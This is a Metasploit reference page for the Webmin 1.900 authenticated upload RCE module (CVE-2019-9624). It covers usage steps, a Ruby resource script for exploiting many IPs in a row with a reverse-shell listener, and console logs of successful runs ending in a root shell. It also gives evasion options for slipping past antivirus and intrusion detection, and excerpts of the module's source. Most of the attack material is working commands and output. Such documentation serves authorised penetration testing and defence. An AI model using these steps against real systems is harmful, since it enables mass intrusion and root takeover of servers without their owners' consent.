Webmin Upload Authenticated RCE - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/webmin_upload_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Webmin Upload Authenticated RCE
Module: exploit/unix/webapp/webmin_upload_exec
Source code: modules/exploits/unix/webapp/webmin_upload_exec.rb
Disclosure date: 2019-01-17
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 10000
List of CVEs: CVE-2019-9624
This module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Upload and Download" module can execute arbitrary commands with root privileges. In addition, if the 'Running Processes' (proc) privilege is set the user can accurately determine which directory to upload to. Webmin application files can be written/overwritten, which allows remote code execution. The module has been tested successfully with Webmin 1.900 on Ubuntu v18.04. Using GUESSUPLOAD attempts to use a default installation path in order to trigger the exploit.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using webmin_upload_exec against a single host
Normally, you can use exploit/unix/webapp/webmin_upload_exec this way:
msf > use exploit/unix/webapp/webmin_upload_exec
msf exploit(webmin_upload_exec) > show targets
... a list of targets ...
msf exploit(webmin_upload_exec) > set TARGET target-id
msf exploit(webmin_upload_exec) > show options
... show and set options ...
msf exploit(webmin_upload_exec) > exploit
Using webmin_upload_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your webmin_upload_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/webmin_upload_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: Webmin Username
PASSWORD: Webmin Password
Knowledge Base
Description
This module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Upload and Download" module can execute arbitrary commands with root privileges. In addition, if the 'Running Processes' (proc) privilege is set the user can accurately determine which directory to upload to. Webmin application files can be written/overwritten, which allows remote code execution. The module has been tested successfully with Webmin 1.900.
Vulnerable Application
This module has been tested with Webmin 1.900
Options
GUESSUPLOAD
Use default installation path /usr/share/webmin/
Verification Steps
use exploit/unix/webapp/webmin_upload_execset rhosts <rhost>set username <username>set password <password>exploit
Scenarios
Tested Webmin 1.900 on Ubuntu 18.04 x64
msf5 > use exploit/unix/webapp/webmin_upload_exec
msf5 exploit(unix/webapp/webmin_upload_exec) > set rhosts 172.22.222.154
rhosts => 172.22.222.154
msf5 exploit(unix/webapp/webmin_upload_exec) > set username unixuser
username => unixuser
msf5 exploit(unix/webapp/webmin_upload_exec) > set password unixuser
password => unixuser
msf5 exploit(unix/webapp/webmin_upload_exec) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[+] Session cookie: 6215747dab393701e0acbb9ac5b7c699
[*] Target URL => https://172.22.222.154:10000
[*] Searching for directory to upload...
[-] Failed to determine webmin share directory
[-] Set GUESSUPLOAD to attempt upload to a default location
[*] Exploit completed, but no session was created.
msf5 exploit(unix/webapp/webmin_upload_exec) > set guessupload true
guessupload => true
msf5 exploit(unix/webapp/webmin_upload_exec) > exploit
[*] Started reverse TCP handler on 172.22.222.136:4444
[+] Session cookie: 46cbd354e4532fe55d1a462db128905c
[*] Target URL => https://172.22.222.154:10000
[*] Searching for directory to upload...
[!] Could not determine upload directory. Using /usr/share/webmin/
[+] File gxvgsiji.cgi was successfully uploaded.
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (172.22.222.136:4444 -> 172.22.222.154:38960) at 2019-03-14 13:40:56 -0500
[+] Deleted gxvgsiji.cgi
uname -a
Linux ubuntu 4.18.0-16-generic #17~18.04.1-Ubuntu SMP Tue Feb 12 13:35:51 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
whoami
root
exit
Go back to menu.
Msfconsole Usage
Here is how the unix/webapp/webmin_upload_exec exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/webmin_upload_exec
msf6 exploit(unix/webapp/webmin_upload_exec) > show info
Name: Webmin Upload Authenticated RCE
Module: exploit/unix/webapp/webmin_upload_exec
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-01-17
Provided by:
AkkuS <��zkan Mustafa Akku��>
Ziconius <[email protected]>
Available targets:
Id Name
-- ----
0 Webmin <= 1.900
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no Filename used for the uploaded data
GUESSUPLOAD false yes If no "proc" permissions exists use default path.
PASSWORD yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME yes Webmin Username
VHOST no HTTP server virtual host
Payload information:
Space: 512
Description:
This module exploits an arbitrary command execution vulnerability in
Webmin 1.900 and lower versions. Any user authorized to the "Upload
and Download" module can execute arbitrary commands with root
privileges. In addition, if the 'Running Processes' (proc) privilege
is set the user can accurately determine which directory to upload
to. Webmin application files can be written/overwritten, which
allows remote code execution. The module has been tested
successfully with Webmin 1.900 on Ubuntu v18.04. Using GUESSUPLOAD
attempts to use a default installation path in order to trigger the
exploit.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-9624
https://www.exploit-db.com/exploits/46201
https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html
Module Options
This is a complete list of options available in the unix/webapp/webmin_upload_exec exploit:
msf6 exploit(unix/webapp/webmin_upload_exec) > show options
Module options (exploit/unix/webapp/webmin_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no Filename used for the uploaded data
GUESSUPLOAD false yes If no "proc" permissions exists use default path.
PASSWORD yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME yes Webmin Username
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Webmin <= 1.900
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/webmin_upload_exec exploit:
msf6 exploit(unix/webapp/webmin_upload_exec) > show advanced
Module advanced options (exploit/unix/webapp/webmin_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/webmin_upload_exec module can exploit:
msf6 exploit(unix/webapp/webmin_upload_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Webmin <= 1.900
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/webmin_upload_exec exploit:
msf6 exploit(unix/webapp/webmin_upload_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
3 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/webmin_upload_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/webmin_upload_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to retrieve session cookie
Here is a relevant code snippet related to the "Failed to retrieve session cookie" error message:
114: # Exploiting phase
115: ##
116: def exploit
117: cookie = login
118: if cookie == '' || cookie.nil?
119: fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
120: end
121: print_good("Session cookie: #{cookie}")
122:
123: ##
124: # Directory and SSL verification for referer
Request failed
Here is a relevant code snippet related to the "Request failed" error message:
135: 'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
136: },
137: 'cookie' => "redirect=1; testing=1; sid=#{cookie}"
138: )
139: unless res && res.code == 200
140: fail_with(Failure::Unknown, 'Request failed')
141: end
142:
143: print_status 'Searching for directory to upload...'
144: if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
145: directory = $1
Could not determine upload directory. Using /usr/share/webmin/
Here is a relevant code snippet related to the "Could not determine upload directory. Using /usr/share/webmin/" error message:
142:
143: print_status 'Searching for directory to upload...'
144: if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
145: directory = $1
146: elsif datastore['GUESSUPLOAD']
147: print_warning('Could not determine upload directory. Using /usr/share/webmin/')
148: directory = '/usr/share/webmin/'
149: else
150: print_error('Failed to determine webmin share directory')
151: print_error('Set GUESSUPLOAD to attempt upload to a default location')
152: return
Failed to determine webmin share directory
Here is a relevant code snippet related to the "Failed to determine webmin share directory" error message:
145: directory = $1
146: elsif datastore['GUESSUPLOAD']
147: print_warning('Could not determine upload directory. Using /usr/share/webmin/')
148: directory = '/usr/share/webmin/'
149: else
150: print_error('Failed to determine webmin share directory')
151: print_error('Set GUESSUPLOAD to attempt upload to a default location')
152: return
153: end
154: directory << 'file'
155: filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
Set GUESSUPLOAD to attempt upload to a default location
Here is a relevant code snippet related to the "Set GUESSUPLOAD to attempt upload to a default location" error message:
146: elsif datastore['GUESSUPLOAD']
147: print_warning('Could not determine upload directory. Using /usr/share/webmin/')
148: directory = '/usr/share/webmin/'
149: else
150: print_error('Failed to determine webmin share directory')
151: print_error('Set GUESSUPLOAD to attempt upload to a default location')
152: return
153: end
154: directory << 'file'
155: filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
156: filename << '.cgi' unless filename.end_with?('.cgi')
Upload failed.
Here is a relevant code snippet related to the "Upload failed." error message:
203: )
204:
205: if res2 && res2.code == 200 && res2.body =~ /Saving file/
206: print_good "File #{filename} was successfully uploaded."
207: register_file_for_cleanup(filename)
208: else
209: print_error 'Upload failed.'
210: fail_with(Failure::UnexpectedReply, 'Failed to upload file')
211: end
212: end
213: end
Failed to upload file
Here is a relevant code snippet related to the "Failed to upload file" error message:
203: )
204:
205: if res2 && res2.code == 200 && res2.body =~ /Saving file/
206: print_good "File #{filename} was successfully uploaded."
207: register_file_for_cleanup(filename)
208: else
209: print_error 'Upload failed.'
210: fail_with(Failure::UnexpectedReply, 'Failed to upload file')
211: end
212: end
213: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11607 Merged Pull Request: Add webmin CVE
- #11385 Merged Pull Request: Add Webmin Upload Download Module Exec
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/webmin/edit_html_fileaccess
- auxiliary/admin/webmin/file_disclosure
- exploit/linux/http/webmin_backdoor
- exploit/linux/http/webmin_file_manager_rce
- exploit/linux/http/webmin_package_updates_rce
- exploit/linux/http/webmin_packageup_rce
- exploit/unix/webapp/webmin_show_cgi_exec
Authors
- AkkuS <Özkan Mustafa Akkuş>
- Ziconius <Kris.Anderson[at]immersivelabs.com>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
